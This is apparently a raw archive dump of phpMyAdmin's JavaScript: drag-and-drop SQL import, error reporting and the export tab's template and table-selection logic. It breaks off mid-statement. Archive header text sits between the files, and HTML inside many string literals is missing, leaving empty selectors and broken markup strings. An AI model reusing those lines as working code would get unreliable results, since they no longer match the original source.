span.pma_drop_file_status').html('' + Messages.dropImportMessageFailed + ''); icon = 'icon ic_s_error'; } } else { icon = 'icon ic_s_notice'; } $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status').attr('task', 'info'); // Set icon $('.pma_sql_import_status div li[data-hash="' + hash + '"]').prepend(' '); // Decrease liveUploadCount by one $('.pma_import_count').html(--DragDropImport.liveUploadCount); if (!DragDropImport.liveUploadCount) { $('.pma_sql_import_status h2 .close').fadeIn(); } }, /** * Triggered when dragged objects are dropped to UI * From this function, the AJAX Upload operation is initiated * * @param event object * * @return {void} */ drop: function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } var dbname = CommonParams.get('db'); var server = CommonParams.get('server'); // if no database is selected -- no if (dbname !== '') { var files = event.originalEvent.dataTransfer.files; if (!files || files.length === 0) { // No files actually transferred $('.pma_drop_handler').fadeOut(); event.stopPropagation(); event.preventDefault(); return; } $('.pma_sql_import_status').slideDown(); for (var i = 0; i < files.length; i++) { var ext = DragDropImport.getExtension(files[i].name); var hash = AJAX.hash(++DragDropImport.uploadCount); var $sqlImportStatusDiv = $('.pma_sql_import_status div'); $sqlImportStatusDiv.append('
  • ' + (ext !== '' ? '' : ' ') + Functions.escapeHtml(files[i].name) + '' + (files[i].size / 1024).toFixed(2) + ' kb
  • '); // scroll the UI to bottom $sqlImportStatusDiv.scrollTop($sqlImportStatusDiv.scrollTop() + 50); // 50 hardcoded for now if (ext !== '') { // Increment liveUploadCount by one $('.pma_import_count').html(++DragDropImport.liveUploadCount); $('.pma_sql_import_status h2 .close').fadeOut(); $('.pma_sql_import_status div li[data-hash="' + hash + '"]').append('
    '); // uploading var fd = new FormData(); fd.append('import_file', files[i]); fd.append('noplugin', Math.random().toString(36).substring(2, 12)); fd.append('db', dbname); fd.append('server', server); fd.append('token', CommonParams.get('token')); fd.append('import_type', 'database'); // todo: method to find the value below fd.append('MAX_FILE_SIZE', '4194304'); // todo: method to find the value below fd.append('charset_of_file', 'utf-8'); // todo: method to find the value below fd.append('allow_interrupt', 'yes'); fd.append('skip_queries', '0'); fd.append('format', ext); fd.append('sql_compatibility', 'NONE'); fd.append('sql_no_auto_value_on_zero', 'something'); fd.append('ajax_request', 'true'); fd.append('hash', hash); // init uploading DragDropImport.sendFileToServer(fd, hash); } else if (!DragDropImport.liveUploadCount) { $('.pma_sql_import_status h2 .close').fadeIn(); } } } $('.pma_drop_handler').fadeOut(); event.stopPropagation(); event.preventDefault(); } }; /** * Called when some user drags, dragover, leave * a file to the PMA UI * @param {object}, Event data * @return {void} */ $(document).on('dragenter', DragDropImport.dragEnter); $(document).on('dragover', DragDropImport.dragOver); $(document).on('dragleave', '.pma_drop_handler', DragDropImport.dragLeave); // when file is dropped to PMA UI $(document).on('drop', 'body', DragDropImport.drop); // minimizing-maximizing the sql ajax upload status $(document).on('click', '.pma_sql_import_status h2 .minimize', function () { if ($(this).attr('toggle') === 'off') { $('.pma_sql_import_status div').css('height', '270px'); $(this).attr('toggle', 'on'); $(this).html('-'); // to minimize } else { $('.pma_sql_import_status div').css('height', '0px'); $(this).attr('toggle', 'off'); $(this).html('+'); // to maximise } }); // closing sql ajax upload status $(document).on('click', '.pma_sql_import_status h2 .close', function () { $('.pma_sql_import_status').fadeOut(function () { $('.pma_sql_import_status div').html(''); DragDropImport.importStatus = []; // clear the message array }); }); // Closing the import result box $(document).on('click', '.pma_drop_result h2 .close', function () { $(this).parent('h2').parent('div').remove(); });dist/error_report.js000066600000022060151724472050010604 0ustar00/* global TraceKit */ // js/vendor/tracekit.js /** * general function, usually for data manipulation pages * */ var ErrorReport = { /** * @var {object}, stores the last exception info */ lastException: null, /** * @var object stores the Error Report Data to prevent unnecessary data fetching */ errorReportData: null, /** * @var object maintains unique keys already used */ keyDict: {}, /** * handles thrown error exceptions based on user preferences * * @param {object} data * @param {any} exception * @return {void} */ errorDataHandler: function (data, exception) { if (data.success !== true) { Functions.ajaxShowMessage(data.error, false); return; } if (data.report_setting === 'ask') { ErrorReport.showErrorNotification(); } else if (data.report_setting === 'always') { var reportData = ErrorReport.getReportData(exception); var postData = $.extend(reportData, { 'send_error_report': true, 'automatic': true }); $.post('index.php?route=/error-report', postData, function (data) { if (data.success === false) { // in the case of an error, show the error message returned. Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxShowMessage(data.message, false); } }); } }, errorHandler: function (exception) { // issue: 14359 if (JSON.stringify(ErrorReport.lastException) === JSON.stringify(exception)) { return; } if (exception.name === null || typeof exception.name === 'undefined') { exception.name = ErrorReport.extractExceptionName(exception); } ErrorReport.lastException = exception; if (ErrorReport.errorReportData === null) { $.post('index.php?route=/error-report', { 'ajax_request': true, 'server': CommonParams.get('server'), 'get_settings': true, 'exception_type': 'js' }, function (data) { ErrorReport.errorReportData = data; ErrorReport.errorDataHandler(data, exception); }); } else { ErrorReport.errorDataHandler(ErrorReport.errorReportData, exception); } }, /** * Shows the modal dialog previewing the report * * @param exception object error report info * * @return {void} */ showReportDialog: function (exception) { const reportData = ErrorReport.getReportData(exception); const sendErrorReport = function () { const postData = $.extend(reportData, { 'send_error_report': true, 'description': $('#errorReportDescription').val(), 'always_send': $('#errorReportAlwaysSendCheckbox')[0].checked }); $.post('index.php?route=/error-report', postData, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxShowMessage(data.message, 3000); } }); $('#errorReportModal').modal('hide'); }; $.post('index.php?route=/error-report', reportData).done(function (data) { // Delete the modal to refresh it in case the user changed SendErrorReports value if (document.getElementById('errorReportModal') !== null) { $('#errorReportModal').remove(); } $('body').append($(data.report_modal)); const $errorReportModal = $('#errorReportModal'); $errorReportModal.on('show.bs.modal', function () { // Prevents multiple onClick events $('#errorReportModalConfirm').off('click', sendErrorReport); $('#errorReportModalConfirm').on('click', sendErrorReport); $('#errorReportModal .modal-body').html(data.message); }); $errorReportModal.modal('show'); }); }, /** * Shows the small notification that asks for user permission * * @return {void} */ showErrorNotification: function () { var key = Math.random().toString(36).substring(2, 12); while (key in ErrorReport.keyDict) { key = Math.random().toString(36).substring(2, 12); } ErrorReport.keyDict[key] = 1; var $div = $('').append(Functions.getImage('s_error') + Messages.strErrorOccurred); var $buttons = $('
    '); var buttonHtml = ''; var settingsUrl = 'index.php?route=/preferences/features&server=' + CommonParams.get('server'); buttonHtml += ''; buttonHtml += Functions.getImage('s_cog', Messages.strChangeReportSettings); buttonHtml += ''; buttonHtml += ''; buttonHtml += Functions.getImage('b_close', Messages.strIgnore); buttonHtml += ''; $buttons.html(buttonHtml); $div.append($buttons); // eslint-disable-next-line compat/compat $div.appendTo(document.body); $(document).on('click', '#show_error_report_' + key, ErrorReport.createReportDialog); $(document).on('click', '#ignore_error_' + key, ErrorReport.removeErrorNotification); }, /** * Removes the notification if it was displayed before * * @param {Event} e * @return {void} */ removeErrorNotification: function (e) { if (e) { // don't remove the hash fragment by navigating to # e.preventDefault(); } $('#error_notification_' + $(this).data('notification-id')).fadeOut(function () { $(this).remove(); }); }, /** * Extracts Exception name from message if it exists * * @param exception * @return {string} */ extractExceptionName: function (exception) { if (exception.message === null || typeof exception.message === 'undefined') { return ''; } var reg = /([a-zA-Z]+):/; var regexResult = reg.exec(exception.message); if (regexResult && regexResult.length === 2) { return regexResult[1]; } return ''; }, /** * Shows the modal dialog previewing the report * * @return {void} */ createReportDialog: function () { ErrorReport.removeErrorNotification(); ErrorReport.showReportDialog(ErrorReport.lastException); }, /** * Returns the report data to send to the server * * @param exception object exception info * * @return {object} */ getReportData: function (exception) { if (exception && exception.stack && exception.stack.length) { for (var i = 0; i < exception.stack.length; i++) { var stack = exception.stack[i]; if (stack.context && stack.context.length) { for (var j = 0; j < stack.context.length; j++) { if (stack.context[j].length > 80) { stack.context[j] = stack.context[j].substring(-1, 75) + '//...'; } } } } } var reportData = { 'server': CommonParams.get('server'), 'ajax_request': true, 'exception': exception, 'url': window.location.href, 'exception_type': 'js' }; if (AJAX.scriptHandler.scripts.length > 0) { reportData.scripts = AJAX.scriptHandler.scripts.map(function (script) { return script; }); } return reportData; }, /** * Wraps given function in error reporting code and returns wrapped function * * @param {Function} func function to be wrapped * * @return {Function} */ wrapFunction: function (func) { if (!func.wrapped) { var newFunc = function () { try { return func.apply(this, arguments); } catch (x) { TraceKit.report(x); } }; newFunc.wrapped = true; // Set guid of wrapped function same as original function, so it can be removed // See bug#4146 (problem with jquery draggable and sortable) newFunc.guid = func.guid = func.guid || newFunc.guid || jQuery.guid++; return newFunc; } else { return func; } }, /** * Automatically wraps the callback in AJAX.registerOnload * * @return {void} */ wrapAjaxOnloadCallback: function () { var oldOnload = AJAX.registerOnload; AJAX.registerOnload = function (file, func) { var wrappedFunction = ErrorReport.wrapFunction(func); oldOnload.call(this, file, wrappedFunction); }; }, /** * Automatically wraps the callback in $.fn.on * * @return {void} */ wrapJqueryOnCallback: function () { var oldOn = $.fn.on; $.fn.on = function () { for (var i = 1; i <= 3; i++) { if (typeof arguments[i] === 'function') { arguments[i] = ErrorReport.wrapFunction(arguments[i]); break; } } return oldOn.apply(this, arguments); }; }, /** * Wraps the callback in AJAX.registerOnload automatically * * @return {void} */ setUpErrorReporting: function () { ErrorReport.wrapAjaxOnloadCallback(); ErrorReport.wrapJqueryOnCallback(); } }; AJAX.registerOnload('error_report.js', function () { TraceKit.report.subscribe(ErrorReport.errorHandler); ErrorReport.setUpErrorReporting(); });dist/export.js000066600000075153151724472050007414 0ustar00/** * Functions used in the export tab * */ var Export = {}; /** * Disables the "Dump some row(s)" sub-options */ Export.disableDumpSomeRowsSubOptions = function () { $('label[for=\'limit_to\']').fadeTo('fast', 0.4); $('label[for=\'limit_from\']').fadeTo('fast', 0.4); $('input[type=\'text\'][name=\'limit_to\']').prop('disabled', 'disabled'); $('input[type=\'text\'][name=\'limit_from\']').prop('disabled', 'disabled'); }; /** * Enables the "Dump some row(s)" sub-options */ Export.enableDumpSomeRowsSubOptions = function () { $('label[for=\'limit_to\']').fadeTo('fast', 1); $('label[for=\'limit_from\']').fadeTo('fast', 1); $('input[type=\'text\'][name=\'limit_to\']').prop('disabled', ''); $('input[type=\'text\'][name=\'limit_from\']').prop('disabled', ''); }; /** * Return template data as a json object * * @return {object} template data */ Export.getTemplateData = function () { var $form = $('form[name="dump"]'); var excludeList = ['token', 'server', 'db', 'table', 'single_table', 'export_type', 'export_method', 'sql_query', 'template_id']; var obj = {}; var arr = $form.serializeArray(); $.each(arr, function () { if ($.inArray(this.name, excludeList) < 0) { if (obj[this.name] !== undefined) { if (!obj[this.name].push) { obj[this.name] = [obj[this.name]]; } obj[this.name].push(this.value || ''); } else { obj[this.name] = this.value || ''; } } }); // include unchecked checkboxes (which are ignored by serializeArray()) with null // to uncheck them when loading the template $form.find('input[type="checkbox"]:not(:checked)').each(function () { if (obj[this.name] === undefined) { obj[this.name] = null; } }); // include empty multiselects $form.find('select').each(function () { if ($(this).find('option:selected').length === 0) { obj[this.name] = []; } }); return obj; }; /** * Create a template with selected options * * @param name name of the template */ Export.createTemplate = function (name) { var templateData = Export.getTemplateData(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateName': name, 'templateData': JSON.stringify(templateData) }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/create', params, function (response) { if (response.success === true) { $('#templateName').val(''); $('#template').html(response.data); $('#template').find('option').each(function () { if ($(this).text() === name) { $(this).prop('selected', true); } }); Functions.ajaxShowMessage(Messages.strTemplateCreated); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Loads a template * * @param id ID of the template to load */ Export.loadTemplate = function (id) { var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateId': id }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/load', params, function (response) { if (response.success === true) { var $form = $('form[name="dump"]'); var options = JSON.parse(response.data); $.each(options, function (key, value) { var localValue = value; var $element = $form.find('[name="' + key + '"]'); if ($element.length) { if ($element.is('input') && $element.attr('type') === 'checkbox' && localValue === null) { $element.prop('checked', false); } else { if ($element.is('input') && $element.attr('type') === 'checkbox' || $element.is('input') && $element.attr('type') === 'radio' || $element.is('select') && $element.attr('multiple') === 'multiple') { if (!localValue.push) { localValue = [localValue]; } } $element.val(localValue); } $element.trigger('change'); } }); $('input[name="template_id"]').val(id); Functions.ajaxShowMessage(Messages.strTemplateLoaded); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Updates an existing template with current options * * @param id ID of the template to update */ Export.updateTemplate = function (id) { var templateData = Export.getTemplateData(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateId': id, 'templateData': JSON.stringify(templateData) }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/update', params, function (response) { if (response.success === true) { Functions.ajaxShowMessage(Messages.strTemplateUpdated); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Delete a template * * @param id ID of the template to delete */ Export.deleteTemplate = function (id) { var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'exportType': $('input[name="export_type"]').val(), 'templateId': id }; Functions.ajaxShowMessage(); $.post('index.php?route=/export/template/delete', params, function (response) { if (response.success === true) { $('#template').find('option[value="' + id + '"]').remove(); Functions.ajaxShowMessage(Messages.strTemplateDeleted); } else { Functions.ajaxShowMessage(response.error, false); } }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('export.js', function () { $('#plugins').off('change'); $('input[type=\'radio\'][name=\'sql_structure_or_data\']').off('change'); $('input[type=\'radio\'][name$=\'_structure_or_data\']').off('change'); $('input[type=\'radio\'][name=\'output_format\']').off('change'); $('#checkbox_sql_include_comments').off('change'); $('input[type=\'radio\'][name=\'quick_or_custom\']').off('change'); $('input[type=\'radio\'][name=\'allrows\']').off('change'); $('#btn_alias_config').off('click'); $('.alias_remove').off('click'); $('#db_alias_button').off('click'); $('#table_alias_button').off('click'); $('#column_alias_button').off('click'); $('input[name="table_select[]"]').off('change'); $('input[name="table_structure[]"]').off('change'); $('input[name="table_data[]"]').off('change'); $('#table_structure_all').off('change'); $('#table_data_all').off('change'); $('input[name="createTemplate"]').off('click'); $('select[name="template"]').off('change'); $('input[name="updateTemplate"]').off('click'); $('input[name="deleteTemplate"]').off('click'); }); AJAX.registerOnload('export.js', function () { $('#showsqlquery').on('click', function () { // Creating a dialog box similar to preview sql container to show sql query var modal = $('#showSqlQueryModal'); modal.modal('show'); modal.on('shown.bs.modal', function () { $('#showSqlQueryModalLabel').first().html(Messages.strQuery); Functions.highlightSql(modal); }); }); /** * Export template handling code */ // create a new template $('input[name="createTemplate"]').on('click', function (e) { e.preventDefault(); var name = $('input[name="templateName"]').val(); if (name.length) { Export.createTemplate(name); } }); // load an existing template $('select[name="template"]').on('change', function (e) { e.preventDefault(); var id = $(this).val(); if (id.length) { Export.loadTemplate(id); } }); // update an existing template with new criteria $('input[name="updateTemplate"]').on('click', function (e) { e.preventDefault(); var id = $('select[name="template"]').val(); if (id.length) { Export.updateTemplate(id); } }); // delete an existing template $('input[name="deleteTemplate"]').on('click', function (e) { e.preventDefault(); var id = $('select[name="template"]').val(); if (id.length) { Export.deleteTemplate(id); } }); /** * Toggles the hiding and showing of each plugin's options * according to the currently selected plugin from the dropdown list */ $('#plugins').on('change', function () { $('#format_specific_opts').find('div.format_specific_options').addClass('d-none'); var selectedPluginName = $('#plugins').find('option:selected').val(); $('#' + selectedPluginName + '_options').removeClass('d-none'); }); /** * Toggles the enabling and disabling of the SQL plugin's comment options that apply only when exporting structure */ $('input[type=\'radio\'][name=\'sql_structure_or_data\']').on('change', function () { var commentsArePresent = $('#checkbox_sql_include_comments').prop('checked'); var show = $('input[type=\'radio\'][name=\'sql_structure_or_data\']:checked').val(); if (show === 'data') { // disable the SQL comment options if (commentsArePresent) { $('#checkbox_sql_dates').prop('disabled', true).parent().fadeTo('fast', 0.4); } $('#checkbox_sql_relation').prop('disabled', true).parent().fadeTo('fast', 0.4); $('#checkbox_sql_mime').prop('disabled', true).parent().fadeTo('fast', 0.4); } else { // enable the SQL comment options if (commentsArePresent) { $('#checkbox_sql_dates').prop('disabled', false).parent().fadeTo('fast', 1); } $('#checkbox_sql_relation').prop('disabled', false).parent().fadeTo('fast', 1); $('#checkbox_sql_mime').prop('disabled', false).parent().fadeTo('fast', 1); } if (show === 'structure') { $('#checkbox_sql_auto_increment').prop('disabled', true).parent().fadeTo('fast', 0.4); } else { $('#checkbox_sql_auto_increment').prop('disabled', false).parent().fadeTo('fast', 1); } }); // When MS Excel is selected as the Format automatically Switch to Character Set as windows-1252 $('#plugins').on('change', function () { var selectedPluginName = $('#plugins').find('option:selected').val(); if (selectedPluginName === 'excel') { $('#select_charset').val('windows-1252'); } else { $('#select_charset').val('utf-8'); } }); // For separate-file exports only ZIP compression is allowed $('input[type="checkbox"][name="as_separate_files"]').on('change', function () { if ($(this).is(':checked')) { $('#compression').val('zip'); } }); $('#compression').on('change', function () { if ($('option:selected').val() !== 'zip') { $('input[type="checkbox"][name="as_separate_files"]').prop('checked', false); } }); }); Export.setupTableStructureOrData = function () { if ($('input[name=\'export_type\']').val() !== 'database') { return; } var pluginName = $('#plugins').find('option:selected').val(); var formElemName = pluginName + '_structure_or_data'; var forceStructureOrData = !$('input[name=\'' + formElemName + '_default\']').length; if (forceStructureOrData === true) { $('input[name="structure_or_data_forced"]').val(1); $('.export_structure input[type="checkbox"], .export_data input[type="checkbox"]').prop('disabled', true); $('.export_structure, .export_data').fadeTo('fast', 0.4); } else { $('input[name="structure_or_data_forced"]').val(0); $('.export_structure input[type="checkbox"], .export_data input[type="checkbox"]').prop('disabled', false); $('.export_structure, .export_data').fadeTo('fast', 1); var structureOrData = $('input[name="' + formElemName + '_default"]').val(); if (structureOrData === 'structure') { $('.export_data input[type="checkbox"]').prop('checked', false); } else if (structureOrData === 'data') { $('.export_structure input[type="checkbox"]').prop('checked', false); } if (structureOrData === 'structure' || structureOrData === 'structure_and_data') { if (!$('.export_structure input[type="checkbox"]:checked').length) { $('input[name="table_select[]"]:checked').closest('tr').find('.export_structure input[type="checkbox"]').prop('checked', true); } } if (structureOrData === 'data' || structureOrData === 'structure_and_data') { if (!$('.export_data input[type="checkbox"]:checked').length) { $('input[name="table_select[]"]:checked').closest('tr').find('.export_data input[type="checkbox"]').prop('checked', true); } } Export.checkSelectedTables(); Export.checkTableSelectAll(); Export.checkTableSelectStructureOrData(); } }; /** * Toggles the hiding and showing of plugin structure-specific and data-specific * options */ Export.toggleStructureDataOpts = function () { var pluginName = $('select#plugins').val(); var radioFormName = pluginName + '_structure_or_data'; var dataDiv = '#' + pluginName + '_data'; var structureDiv = '#' + pluginName + '_structure'; var show = $('input[type=\'radio\'][name=\'' + radioFormName + '\']:checked').val(); // Show the #rows if 'show' is not structure $('#rows').toggle(show !== 'structure'); if (show === 'data') { $(dataDiv).slideDown('slow'); $(structureDiv).slideUp('slow'); } else { $(structureDiv).slideDown('slow'); if (show === 'structure') { $(dataDiv).slideUp('slow'); } else { $(dataDiv).slideDown('slow'); } } }; /** * Toggles the disabling of the "save to file" options */ Export.toggleSaveToFile = function () { var $ulSaveAsfile = $('#ul_save_asfile'); if (!$('#radio_dump_asfile').prop('checked')) { $ulSaveAsfile.find('> li').fadeTo('fast', 0.4); $ulSaveAsfile.find('> li > input').prop('disabled', true); $ulSaveAsfile.find('> li > select').prop('disabled', true); } else { $ulSaveAsfile.find('> li').fadeTo('fast', 1); $ulSaveAsfile.find('> li > input').prop('disabled', false); $ulSaveAsfile.find('> li > select').prop('disabled', false); } }; AJAX.registerOnload('export.js', function () { Export.toggleSaveToFile(); $('input[type=\'radio\'][name=\'output_format\']').on('change', Export.toggleSaveToFile); }); /** * For SQL plugin, toggles the disabling of the "display comments" options */ Export.toggleSqlIncludeComments = function () { $('#checkbox_sql_include_comments').on('change', function () { var $ulIncludeComments = $('#ul_include_comments'); if (!$('#checkbox_sql_include_comments').prop('checked')) { $ulIncludeComments.find('> li').fadeTo('fast', 0.4); $ulIncludeComments.find('> li > input').prop('disabled', true); } else { // If structure is not being exported, the comment options for structure should not be enabled if ($('#radio_sql_structure_or_data_data').prop('checked')) { $('#text_sql_header_comment').prop('disabled', false).parent('li').fadeTo('fast', 1); } else { $ulIncludeComments.find('> li').fadeTo('fast', 1); $ulIncludeComments.find('> li > input').prop('disabled', false); } } }); }; Export.checkTableSelectAll = function () { var total = $('input[name="table_select[]"]').length; var strChecked = $('input[name="table_structure[]"]:checked').length; var dataChecked = $('input[name="table_data[]"]:checked').length; var strAll = $('#table_structure_all'); var dataAll = $('#table_data_all'); if (strChecked === total) { strAll.prop('indeterminate', false).prop('checked', true); } else if (strChecked === 0) { strAll.prop('indeterminate', false).prop('checked', false); } else { strAll.prop('indeterminate', true).prop('checked', false); } if (dataChecked === total) { dataAll.prop('indeterminate', false).prop('checked', true); } else if (dataChecked === 0) { dataAll.prop('indeterminate', false).prop('checked', false); } else { dataAll.prop('indeterminate', true).prop('checked', false); } }; Export.checkTableSelectStructureOrData = function () { var dataChecked = $('input[name="table_data[]"]:checked').length; var autoIncrement = $('#checkbox_sql_auto_increment'); var pluginName = $('select#plugins').val(); var dataDiv = '#' + pluginName + '_data'; if (dataChecked === 0) { $(dataDiv).slideUp('slow'); autoIncrement.prop('disabled', true).parent().fadeTo('fast', 0.4); } else { $(dataDiv).slideDown('slow'); autoIncrement.prop('disabled', false).parent().fadeTo('fast', 1); } }; Export.toggleTableSelectAllStr = function () { var strAll = $('#table_structure_all').is(':checked'); if (strAll) { $('input[name="table_structure[]"]').prop('checked', true); } else { $('input[name="table_structure[]"]').prop('checked', false); } }; Export.toggleTableSelectAllData = function () { var dataAll = $('#table_data_all').is(':checked'); if (dataAll) { $('input[name="table_data[]"]').prop('checked', true); } else { $('input[name="table_data[]"]').prop('checked', false); } }; Export.checkSelectedTables = function () { $('.export_table_select tbody tr').each(function () { Export.checkTableSelected(this); }); }; Export.checkTableSelected = function (row) { var $row = $(row); var tableSelect = $row.find('input[name="table_select[]"]'); var strCheck = $row.find('input[name="table_structure[]"]'); var dataCheck = $row.find('input[name="table_data[]"]'); var data = dataCheck.is(':checked:not(:disabled)'); var structure = strCheck.is(':checked:not(:disabled)'); if (data && structure) { tableSelect.prop({ checked: true, indeterminate: false }); $row.addClass('marked'); } else if (data || structure) { tableSelect.prop({ checked: true, indeterminate: true }); $row.removeClass('marked'); } else { tableSelect.prop({ checked: false, indeterminate: false }); $row.removeClass('marked'); } }; Export.toggleTableSelect = function (row) { var $row = $(row); var tableSelected = $row.find('input[name="table_select[]"]').is(':checked'); if (tableSelected) { $row.find('input[type="checkbox"]:not(:disabled)').prop('checked', true); $row.addClass('marked'); } else { $row.find('input[type="checkbox"]:not(:disabled)').prop('checked', false); $row.removeClass('marked'); } }; Export.handleAddProcCheckbox = function () { if ($('#table_structure_all').is(':checked') === true && $('#table_data_all').is(':checked') === true) { $('#checkbox_sql_procedure_function').prop('checked', true); } else { $('#checkbox_sql_procedure_function').prop('checked', false); } }; AJAX.registerOnload('export.js', function () { /** * For SQL plugin, if "CREATE TABLE options" is checked/unchecked, check/uncheck each of its sub-options */ var $create = $('#checkbox_sql_create_table_statements'); var $createOptions = $('#ul_create_table_statements').find('input'); $create.on('change', function () { $createOptions.prop('checked', $(this).prop('checked')); }); $createOptions.on('change', function () { if ($createOptions.is(':checked')) { $create.prop('checked', true); } }); /** * Disables the view output as text option if the output must be saved as a file */ $('#plugins').on('change', function () { var activePlugin = $('#plugins').find('option:selected').val(); var forceFile = $('#force_file_' + activePlugin).val(); if (forceFile === 'true') { if ($('#radio_dump_asfile').prop('checked') !== true) { $('#radio_dump_asfile').prop('checked', true); Export.toggleSaveToFile(); } $('#radio_view_as_text').prop('disabled', true).parent().fadeTo('fast', 0.4); } else { $('#radio_view_as_text').prop('disabled', false).parent().fadeTo('fast', 1); } }); $('input[type=\'radio\'][name$=\'_structure_or_data\']').on('change', function () { Export.toggleStructureDataOpts(); }); $('input[name="table_select[]"]').on('change', function () { Export.toggleTableSelect($(this).closest('tr')); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('input[name="table_structure[]"]').on('change', function () { Export.checkTableSelected($(this).closest('tr')); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('input[name="table_data[]"]').on('change', function () { Export.checkTableSelected($(this).closest('tr')); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('#table_structure_all').on('change', function () { Export.toggleTableSelectAllStr(); Export.checkSelectedTables(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('#table_data_all').on('change', function () { Export.toggleTableSelectAllData(); Export.checkSelectedTables(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); if ($('input[name=\'export_type\']').val() === 'database') { // Hide structure or data radio buttons $('input[type=\'radio\'][name$=\'_structure_or_data\']').each(function () { var $this = $(this); var name = $this.prop('name'); var val = $('input[name="' + name + '"]:checked').val(); var nameDefault = name + '_default'; if (!$('input[name="' + nameDefault + '"]').length) { $this.after($('')).after($('')); $this.parent().find('label').remove(); } else { $this.parent().remove(); } }); $('input[type=\'radio\'][name$=\'_structure_or_data\']').remove(); // Disable CREATE table checkbox for sql var createTableCheckbox = $('#checkbox_sql_create_table'); createTableCheckbox.prop('checked', true); var dummyCreateTable = $('#checkbox_sql_create_table').clone().removeAttr('id').attr('type', 'hidden'); createTableCheckbox.prop('disabled', true).after(dummyCreateTable).parent().fadeTo('fast', 0.4); Export.setupTableStructureOrData(); } /** * Handle force structure_or_data */ $('#plugins').on('change', Export.setupTableStructureOrData); }); /** * Toggles display of options when quick and custom export are selected */ Export.toggleQuickOrCustom = function () { if ($('input[name=\'quick_or_custom\']').length === 0 // custom_no_form option || $('#radio_custom_export').prop('checked') // custom ) { $('#databases_and_tables').show(); $('#rows').show(); $('#output').show(); $('#format_specific_opts').show(); $('#output_quick_export').addClass('d-none'); var selectedPluginName = $('#plugins').find('option:selected').val(); $('#' + selectedPluginName + '_options').removeClass('d-none'); } else { // quick $('#databases_and_tables').hide(); $('#rows').hide(); $('#output').hide(); $('#format_specific_opts').hide(); $('#output_quick_export').removeClass('d-none'); } }; var timeOut; Export.checkTimeOut = function (timeLimit) { var limit = timeLimit; if (typeof limit === 'undefined' || limit === 0) { return true; } // margin of one second to avoid race condition to set/access session variable limit = limit + 1; clearTimeout(timeOut); timeOut = setTimeout(function () { $.get('index.php?route=/export/check-time-out', { 'ajax_request': true }, function (data) { if (data.message === 'timeout') { Functions.ajaxShowMessage('', false); } }); }, limit * 1000); }; /** * Handler for Alias dialog box * * @param event object the event object * * @return {void} */ Export.createAliasModal = function (event) { event.preventDefault(); var modal = $('#renameExportModal'); modal.modal('show'); modal.on('shown.bs.modal', function () { modal.closest('.ui-dialog').find('.ui-button').addClass('btn btn-secondary'); var db = CommonParams.get('db'); if (db) { var option = $(''); option.text(db); option.attr('value', db); $('#db_alias_select').append(option).val(db).trigger('change'); } else { var params = { 'ajax_request': true, 'server': CommonParams.get('server') }; $.post('index.php?route=/databases', params, function (response) { if (response.success === true) { $.each(response.databases, function (idx, value) { var option = $(''); option.text(value); option.attr('value', value); $('#db_alias_select').append(option); }); } else { Functions.ajaxShowMessage(response.error, false); } }); } }); modal.on('hidden.bs.modal', function () { var isEmpty = true; $(this).find('input[type="text"]').each(function () { // trim empty input fields on close if ($(this).val()) { isEmpty = false; } else { $(this).parents('tr').remove(); } }); // Toggle checkbox based on aliases $('input#btn_alias_config').prop('checked', !isEmpty); }); $('#saveAndCloseBtn').on('click', function () { $('#alias_modal').parent().appendTo($('form[name="dump"]')); }); }; Export.aliasToggleRow = function (elm) { var inputs = elm.parents('tr').find('input,button'); if (elm.val()) { inputs.attr('disabled', false); } else { inputs.attr('disabled', true); } }; Export.aliasRow = null; Export.addAlias = function (type, name, field, value) { if (value === '') { return; } if (Export.aliasRow === null) { Export.aliasRow = $('#alias_data tfoot tr'); } var row = Export.aliasRow.clone(); row.find('th').text(type); row.find('td').first().text(name); row.find('input').attr('name', field); row.find('input').val(value); row.find('.alias_remove').on('click', function () { $(this).parents('tr').remove(); }); var matching = $('#alias_data [name="' + $.escapeSelector(field) + '"]'); if (matching.length > 0) { matching.parents('tr').remove(); } $('#alias_data tbody').append(row); }; AJAX.registerOnload('export.js', function () { $('input[type=\'radio\'][name=\'quick_or_custom\']').on('change', Export.toggleQuickOrCustom); $('#format_specific_opts').find('div.format_specific_options').addClass('d-none').find('h3').remove(); Export.toggleQuickOrCustom(); Export.toggleStructureDataOpts(); Export.toggleSqlIncludeComments(); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); /** * Initially disables the "Dump some row(s)" sub-options */ Export.disableDumpSomeRowsSubOptions(); /** * Disables the "Dump some row(s)" sub-options when it is not selected */ $('input[type=\'radio\'][name=\'allrows\']').on('change', function () { if ($('#radio_allrows_0').prop('checked')) { Export.enableDumpSomeRowsSubOptions(); } else { Export.disableDumpSomeRowsSubOptions(); } }); // Open Alias Modal Dialog on click $('#btn_alias_config').on('click', Export.createAliasModal); $('.alias_remove').on('click', function () { $(this).parents('tr').remove(); }); $('#db_alias_select').on('change', function () { Export.aliasToggleRow($(this)); var table 